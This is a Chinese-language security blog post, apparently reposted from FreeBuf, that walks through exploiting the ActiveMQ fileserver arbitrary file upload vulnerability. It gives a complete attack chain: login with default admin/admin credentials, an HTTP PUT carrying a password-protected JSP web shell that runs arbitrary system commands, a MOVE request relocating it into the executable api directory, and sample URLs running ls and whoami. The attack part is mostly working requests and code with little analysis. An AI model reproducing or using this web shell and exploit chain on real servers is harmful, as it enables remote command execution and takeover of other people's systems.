ActiveMQ任意文件上传漏洞 – 作者:12qwasxz

ActiveMQ任意文件上传漏洞

该漏洞出现在fileserver应用中,漏洞原理:ActiveMQ中的fileserver服务允许用户通过HTTP PUT方法上传文件到指定目录。Fileserver支持写入文件(不解析jsp),但是支持移动文件(Move)我们可以将jsp的文件PUT到Fileserver下,然后再通过Move指令移动到可执行目录下访问。
开启服务端口:开启服务页面

图片[1]-ActiveMQ任意文件上传漏洞 – 作者:12qwasxz-安全小百科登陆 (admin/admin)

进入根目录下的fileserver目录下

PUT  /fileserver/1.txt  HTTP/1.1

<%
        if("023".equals(request.getParameter("pwd"))){
                java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
                int a = -1;
                byte[] b = new byte[2048];
                out.print("<pre>");
                while((a=in.read(b))!=-1){
                        out.println(new String(b));
                }
                out.print("</pre>");
        }
%>

查看目录下已经上传了文件
图片[2]-ActiveMQ任意文件上传漏洞 – 作者:12qwasxz-安全小百科
重新装包修改请求头

MOVE  /fileserver/1.txt  HTTP/1.1
Destination:file:///opt/activemq/webapps/api/testhacker.jsp
成功的响应标志
HTTP/1.1 204 No Content
Connection: close
Server: Jetty(8.1.16.v20140903)

图片[3]-ActiveMQ任意文件上传漏洞 – 作者:12qwasxz-安全小百科
http://IP:8161/api/testhacker.jsp?pwd=023&i=ls%20-l
图片[4]-ActiveMQ任意文件上传漏洞 – 作者:12qwasxz-安全小百科
http://IP:8161/api/testhacker.jsp?pwd=023&i=whoami

漏洞的原理

首先我们使用的put方式上传了1.txt文件到fileserver目录下面,但是在该目录下面的文件是不能够被执行的,执行JSP脚本的目录是admin或者是api目录下面,这两个目录具有执行JSP文件的权限(暂时不明白原理,先记住吧!!),但是这两个目录需要登陆才能够进入,所以可能会存在4XX的错误,这是没有权限的原因。
骚姿势:fileserver目录可以支持写入文件,并且该目录也支持move文件到其他的目录下面,因此我们可以通过上传shell脚本文件到fileserver目录下面,然后将该目录下面的文件移动到解析jsp文件的目录下面,这样就可以造成任意文件写入的漏洞。

参考资料:

https://www.freebuf.com/vuls/213760.html
https://www.jianshu.com/p/564fb8b54a67
https://blog.csdn.net/qq_38632151/article/details/102975086

来源:freebuf.com 2020-12-18 11:08:36 by: 12qwasxz

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论